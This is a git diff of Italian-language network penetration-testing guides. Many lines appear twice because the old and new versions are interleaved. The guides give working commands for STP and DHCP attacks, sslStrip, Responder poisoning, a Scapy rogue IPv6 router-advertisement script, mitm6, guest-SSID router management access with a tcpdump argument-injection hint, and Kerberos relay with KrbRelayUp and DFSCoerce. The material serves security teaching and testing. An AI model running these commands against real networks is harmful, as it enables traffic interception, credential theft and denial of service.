Questo viene fatto inviando pacchetti BPDUs CONF dicendo che il valore di **priorità** è inferiore alla priorità attuale dello switch root effettivo.
Questo viene fatto inviando pacchetti BPDUs CONF che affermano che il valore di **priorità** è inferiore alla priorità attuale dello switch root effettivo.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -455,7 +457,7 @@ Lo strumento [**voiphopper**](http://voiphopper.sourceforge.net) è progettato p
La modalità preferita per la velocità è la terza. Richiede di specificare:
- L'interfaccia di rete dell'attaccante (`-i` parametro).
- Il nome del dispositivo VoIP emulato (`-E` parametro), seguendo il formato di denominazione Cisco (ad es., SEP seguito da un indirizzo MAC).
- Il nome del dispositivo VoIP che si sta emulando (`-E` parametro), seguendo il formato di denominazione Cisco (ad es., SEP seguito da un indirizzo MAC).
In contesti aziendali, per imitare un dispositivo VoIP esistente, si potrebbe:
@ -492,14 +494,14 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
**Due tipi di DoS** possono essere eseguiti contro i server DHCP. Il primo consiste nel **simulare un numero sufficiente di host falsi per utilizzare tutti gli indirizzi IP possibili**.\
Questo attacco funzionerà solo se puoi vedere le risposte del server DHCP e completare il protocollo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Ad esempio, questo **non è possibile nelle reti Wifi**.
Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. In questo modo, il server penserà che tutti abbiano finito di utilizzare l'IP.
Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. Allora, il server penserà che tutti abbiano finito di utilizzare l'IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig)
Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig).
Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Così, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
#### Imposta valori malevoli
@ -530,7 +532,7 @@ Ecco alcune delle tattiche di attacco che possono essere utilizzate contro le im
- Attacco attivo di brute-force delle password tramite EAP
- Attacco al server RADIUS con contenuti EAP malformati _\*\*_(exploits)
- Cattura dei messaggi EAP e cracking delle password offline (EAP-MD5 e PEAP)
- Forzare l'autenticazione EAP-MD5 per bypassare la validazione del certificato TLS
- Forzare l'autenticazione EAP-MD5 per bypassare la convalida del certificato TLS
- Iniettare traffico di rete malevolo durante l'autenticazione utilizzando un hub o simile
Se l'attaccante si trova tra la vittima e il server di autenticazione, potrebbe cercare di degradare (se necessario) il protocollo di autenticazione a EAP-MD5 e catturare il tentativo di autenticazione. Poi, potrebbe eseguire un attacco di brute-force utilizzando:
@ -549,16 +551,16 @@ glbp-and-hsrp-attacks.md
### RIP
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata da RIPng; invece, ci si affida a intestazioni IPsec AH e ESP opzionali all'interno di IPv6.
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata da RIPng; invece, ci si affida agli header IPsec AH e ESP opzionali all'interno di IPv6.
- **RIP e RIPv2:** La comunicazione avviene tramite datagrammi UDP sulla porta 520.
- **RIPng:** Utilizza la porta UDP 521 per trasmettere datagrammi tramite multicast IPv6.
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi alle intestazioni IPsec AH e ESP in IPv6.
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi agli header IPsec AH e ESP in IPv6.
### Attacchi EIGRP
**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione di interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta **si diffonda** in tutto il sistema EIGRP autonomo.
**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione delle interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta si **diffonda** in tutto il sistema EIGRP autonomo.
Attaccare un sistema EIGRP richiede **stabilire un vicinato con un router EIGRP legittimo**, il che apre molte possibilità, dalla ricognizione di base a varie iniezioni.
@ -572,13 +574,13 @@ eigrp-attacks.md
### OSPF
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra i router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
- **Cattura e Decifratura degli Hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
- **Configurazione dei Parametri della Rotta:** Questo avviene tramite la scheda _Injection_.
- **Impostazione della Chiave Compromessa:** La chiave è configurata sotto la scheda _Connection_.
- **Catturare e Decifrare Hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
- **Configurare i Parametri della Rotta:** Questo avviene tramite la scheda _Injection_.
- **Impostare la Chiave Compromessa:** La chiave è configurata sotto la scheda _Connection_.
### Altri Strumenti e Fonti Generiche
### Altri Strumenti e Risorse Generiche
- [**Above**](https://github.com/c4s73r/Above): Strumento per scansionare il traffico di rete e trovare vulnerabilità
- Puoi trovare alcune **ulteriori informazioni sugli attacchi di rete** [**qui**](https://github.com/Sab0tag3d/MITM-cheatsheet).
@ -635,16 +637,16 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
```
### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **Linux zero-configuration** utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, trasmettendo messaggi, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, inviando messaggi di broadcast, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
Puoi impersonare servizi che vengono cercati dagli host utilizzando Responder per inviare risposte false.\
Puoi impersonare servizi cercati dagli host utilizzando Responder per inviare risposte false.\
Leggi qui ulteriori informazioni su [come impersonare servizi con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD) per acquisire automaticamente le impostazioni del proxy**. Questo comporta il recupero dei dettagli di configurazione da un server, specificamente attraverso un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire attraverso vari meccanismi:
I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD) per acquisire automaticamente le impostazioni del proxy**. Questo comporta il recupero dei dettagli di configurazione da un server, specificamente tramite un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire attraverso vari meccanismi:
- Tramite **DHCP**, dove la scoperta è facilitata utilizzando un codice speciale 252.
- Tramite **DHCP**, dove la scoperta è facilitata dall'utilizzo di un codice speciale 252.
- Tramite **DNS**, che comporta la ricerca di un nome host etichettato _wpad_ all'interno del dominio locale.
- Via **Microsoft LLMNR e NBT-NS**, che sono meccanismi di fallback utilizzati nei casi in cui le ricerche DNS non hanno successo.
@ -652,18 +654,18 @@ Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD ma
### [Spoofing SSDP e dispositivi UPnP](spoofing-ssdp-and-upnp-devices.md)
Puoi offrire diversi servizi nella rete per cercare di **ingannare un utente** a inserire alcune **credenziali in chiaro**. **Ulteriori informazioni su questo attacco in** [**Spoofing SSDP e dispositivi UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
Puoi offrire diversi servizi nella rete per cercare di **ingannare un utente** a inserire alcune **credenziali in chiaro**. **Ulteriori informazioni su questo attacco in** [**Spoofing SSDP e Dispositivi UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
### Spoofing dei vicini IPv6
Questo attacco è molto simile all'ARP Spoofing ma nel mondo IPv6. Puoi far credere alla vittima che l'IPv6 del GW abbia il MAC dell'attaccante.
Questo attacco è molto simile allo Spoofing ARP ma nel mondo IPv6. Puoi far credere alla vittima che l'IPv6 del GW abbia il MAC dell'attaccante.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 Router Advertisement Spoofing/Flooding
Alcuni sistemi operativi configurano per impostazione predefinita il gateway dai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6, puoi usare:
Alcuni sistemi operativi configurano per impostazione predefinita il gateway dai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6 puoi usare:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -684,7 +686,7 @@ mitm6
### sslStrip
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client** e una **connessione HTTPS con** il **server**, in modo da poter **sniffare** la connessione in **testo semplice**.
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client** e una **connessione HTTPS con** il **server** in modo da poter **sniffare** la connessione in **testo semplice**.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,14 +699,14 @@ More info [qui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Blac
### sslStrip+ e dns2proxy per bypassare HSTS
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** tramite https con **www.facebook.com**.
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** via https con **www.facebook.com**.
L'**obiettivo** di questa tecnica è **evitare HSTS** perché _**wwww**.facebook.com_ **non sarà** salvato nella **cache** del browser, quindi il browser sarà ingannato a eseguire **l'autenticazione di facebook in HTTP**.\
Nota che per eseguire questo attacco la vittima deve cercare di accedere inizialmente a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http.
More info [qui](https://www.bettercap.org/legacy/#hsts-bypass), [qui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [qui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", vi accederà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", lo farà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -764,7 +766,7 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Note sulla Scoperta Attiva
### Note di Scoperta Attiva
Tieni presente che quando un pacchetto UDP viene inviato a un dispositivo che non ha la porta richiesta, viene inviato un ICMP (Port Unreachable).
@ -795,7 +797,8 @@ Bettercap trasmette pacchetti SSDP cercando tutti i tipi di servizi (porta UDP 1
Bettercap trasmette pacchetti WSD cercando servizi (porta UDP 3702).
### Sfruttamento Telecom / Mobile-Core (GTP)
### Telecom / Mobile-Core (GTP) Sfruttamento
{{#ref}}
telecom-network-exploitation.md
@ -804,7 +807,7 @@ telecom-network-exploitation.md
## Riferimenti
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Valutazione della Sicurezza della Rete: Conosci la Tua Rete (3ª edizione)**
- **Valutazione della Sicurezza della Rete: Conosci la Tua Rete (3a edizione)**
- **Hacking IoT Pratico: La Guida Definitiva per Attaccare l'Internet delle Cose. Di Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

79
src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
View File

@ -38,13 +38,13 @@ ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```
Gli indirizzi IPv6 possono essere derivati dall'indirizzo MAC di un dispositivo per la comunicazione locale. Ecco una guida semplificata su come derivare l'indirizzo IPv6 Link-local da un indirizzo MAC noto e una breve panoramica dei tipi di indirizzi IPv6 e dei metodi per scoprire gli indirizzi IPv6 all'interno di una rete.
IPv6 gli indirizzi possono essere derivati dall'indirizzo MAC di un dispositivo per la comunicazione locale. Ecco una guida semplificata su come derivare l'indirizzo IPv6 Link-local da un indirizzo MAC noto e una breve panoramica dei tipi di indirizzi IPv6 e dei metodi per scoprire gli indirizzi IPv6 all'interno di una rete.
### **Derivazione dell'IPv6 Link-local dall'indirizzo MAC**
Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 Link-local come segue:
1. Converti il MAC in formato IPv6: **`1234:5678:9abc`**
1. Converti il MAC nel formato IPv6: **`1234:5678:9abc`**
2. Prependi `fe80::` e inserisci `fffe` nel mezzo: **`fe80::1234:56ff:fe78:9abc`**
3. Inverti il settimo bit da sinistra, cambiando `1234` in `1034`: **`fe80::1034:56ff:fe78:9abc`**
@ -52,11 +52,11 @@ Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 L
- **Unique Local Address (ULA)**: Per comunicazioni locali, non destinato al routing su internet pubblico. Prefisso: **`FEC00::/7`**
- **Multicast Address**: Per comunicazione uno-a-molti. Consegnato a tutte le interfacce nel gruppo multicast. Prefisso: **`FF00::/8`**
- **Anycast Address**: Per comunicazione uno-a-più-vicina. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte dell'intervallo globale unicast **`2000::/3`**.
- **Anycast Address**: Per comunicazione uno-a-più-vicino. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte del range globale unicast **`2000::/3`**.
### **Prefissi degli indirizzi**
- **fe80::/10**: Indirizzi Link-Local (simile a 169.254.x.x)
- **fe80::/10**: indirizzi Link-Local (simile a 169.254.x.x)
- **fc00::/7**: Unique Local-Unicast (simile a intervalli IPv4 privati come 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Global Unicast
- **ff02::1**: Multicast All Nodes
@ -90,7 +90,7 @@ Esistono diverse tecniche per eseguire attacchi MitM nelle reti IPv6, come:
### Esplorazione dei Sottodomini
Un metodo per trovare sottodomini che sono potenzialmente collegati a indirizzi IPv6 implica l'uso di motori di ricerca. Ad esempio, impiegare un modello di query come `ipv6.*` può essere efficace. In particolare, il seguente comando di ricerca può essere utilizzato in Google:
Un metodo per trovare sottodomini che sono potenzialmente collegati a indirizzi IPv6 implica l'uso di motori di ricerca. Ad esempio, utilizzare un modello di query come `ipv6.*` può essere efficace. In particolare, il seguente comando di ricerca può essere utilizzato in Google:
```bash
site:ipv6./
```
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Sniffing passivo NDP & DHCPv6
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e utilizza ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e parla ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
```python
#!/usr/bin/env python3
from scapy.all import *
@ -242,15 +242,15 @@ sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertise
```
Cerca il campo `flags [M,O]` nel dump – non è necessaria alcuna supposizione.
Il campo **Prf** (Router Preference) all'interno dell'intestazione RA controlla quanto è attraente il tuo router rogue quando sono presenti *più* gateway:
Il campo **Prf** (Router Preference) all'interno dell'intestazione RA controlla quanto il tuo router rogue appare attraente quando sono presenti *più* gateway:
| Valore Prf | Binario | Significato |
|------------|---------|-------------|
| **Alto** | `10` | I client preferiscono questo router rispetto a qualsiasi router *Medio*/*Basso* |
| Medio (predefinito) | `01` | Utilizzato da quasi tutti i dispositivi legittimi |
| Basso | `00` | Scelto solo quando non esiste un router migliore |
| Basso | `00` | Scelto solo quando non esiste un router migliore |
Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro `prf` come mostrato sopra (`prf=0x1` → Alto). Combinare **Alto Prf**, un **breve intervallo** e una **durata non zero** rende il tuo gateway rogue notevolmente stabile.
Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro `prf` come mostrato sopra (`prf=0x1` → Alto). Combinare **Alto Prf**, un **intervallo breve** e una **durata non zero** rende il tuo gateway rogue notevolmente stabile.
---
@ -263,11 +263,12 @@ from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
@ -292,10 +293,57 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
### Difese
* **RA Guard / DHCPv6 Guard / ND Inspection** su switch gestiti.
* ACL di porta che consentono solo al MAC del router legittimo di inviare RAs.
* Port ACL che consentono solo al MAC del router legittimo di inviare RAs.
* Monitorare per **RAs ad alta frequenza non solidi** o improvvisi **cambiamenti RDNSS**.
* Disabilitare IPv6 sugli endpoint è una soluzione temporanea che spesso interrompe i servizi moderni e nasconde punti ciechi – preferire invece il filtraggio L2.
### Scoperta del Router NDP su SSID Guest/Public e Esposizione del Servizio di Gestione
Molti router consumer espongono demoni di gestione (HTTP(S), SSH/Telnet, TR-069, ecc.) su tutte le interfacce. In alcune implementazioni, l'SSID "guest/public" è collegato al WAN/core ed è solo IPv6. Anche se l'IPv6 del router cambia ad ogni avvio, puoi apprenderlo in modo affidabile utilizzando NDP/ICMPv6 e poi connetterti direttamente al piano di gestione dall'SSID guest.
Flusso di lavoro tipico da un client connesso all'SSID guest/public:
1) Scoprire il router tramite ICMPv6 Router Solicitation al multicast di tutti i router `ff02::2` e catturare il Router Advertisement (RA):
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
```
L'RA rivela l'indirizzo/prefisso link-local del router e spesso un indirizzo/prefisso globale. Se è noto solo un link-local, ricorda che le connessioni devono specificare l'indice della zona, ad esempio `ssh -6 admin@[fe80::1%wlan0]`.
Alternativa: usa la suite ndisc6 se disponibile:
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) Raggiungere i servizi esposti su IPv6 dalla rete SSID degli ospiti:
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) Se la shell di gestione fornisce strumenti di cattura pacchetti tramite un wrapper (ad es., tcpdump), controlla per iniezione di argomenti/nome file che consenta di passare flag tcpdump extra come `-G/-W/-z` per ottenere l'esecuzione di comandi post-rotate. Vedi:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
Difese/osservazioni:
- Non legare la gestione a bridge guest/pubblici; applicare firewall IPv6 sui bridge SSID.
- Limitare il rate e filtrare NDP/RS/RA sui segmenti guest dove possibile.
- Per i servizi che devono essere raggiungibili, applicare authN/MFA e forti limiti di rate.
## Riferimenti
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
@ -304,5 +352,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

32
src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
View File

@ -4,19 +4,19 @@
## Protocolli di Rete
### Protocolli di Risoluzione Locale degli Host
### Protocolli di Risoluzione del Nome Locale
- **LLMNR, NBT-NS e mDNS**:
- Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
- Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
- [Responder](https://github.com/lgandx/Responder) può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
- Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
- Ulteriori informazioni sull' impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Protocollo di Scoperta Automatica del Proxy Web (WPAD)
- WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
- La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
- Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.
- Responder può automatizzare gli attacchi WPAD, indirizzando i client a server WPAD malevoli.
### Responder per il Veleno dei Protocolli
@ -31,7 +31,7 @@
- Per eseguire Responder con impostazioni predefinite: `responder -I <Interface>`
- Per un probing più aggressivo (con potenziali effetti collaterali): `responder -I <Interface> -P -r -v`
- Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: `responder -I <Interface> --lm --disable-ess`
- L'impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
- L' impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: `responder.py -I <interface> -Pv`
### Avvelenamento DHCP con Responder
@ -140,13 +140,13 @@ Per informazioni dettagliate su questo attacco controlla:
- 2. **Cosa deve essere vero per relay Kerberos**
1. **Chiave condivisa:** gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
2. **Nessuna protezione del canale:** SMB/LDAP disabilitato e EPA disabilitato per HTTP/LDAPS.
1. **Chiave condivisa:** gli SPN sorgente e target appartengono allo stesso account computer (predefinito sui server Windows).
2. **Nessuna protezione del canale:** SMB/LDAP disattivato e EPA disattivato per HTTP/LDAPS.
3. **Puoi intercettare o costringere l'autenticazione:** avvelenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM rogue, ecc..
4. **Fonte del ticket non già utilizzata:** vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
5. Devi in qualche modo essere in grado di eseguire un **MitM nella comunicazione**, magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o essere in grado di cambiare il file HOST della vittima.
### Passi per il Relay Kerberos
### Passi per Kerberos Relay
- 3.1 **Riconoscere l'host**
```powershell
@ -162,18 +162,18 @@ Select Name,servicePrincipalName
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → bypass SCM** in un unico binario.
`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** in un unico binario.
- 3.3 **Costringere l'autenticazione Kerberos**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce fa sì che il DC ci invii un ticket Kerberos `CIFS/DC01`.
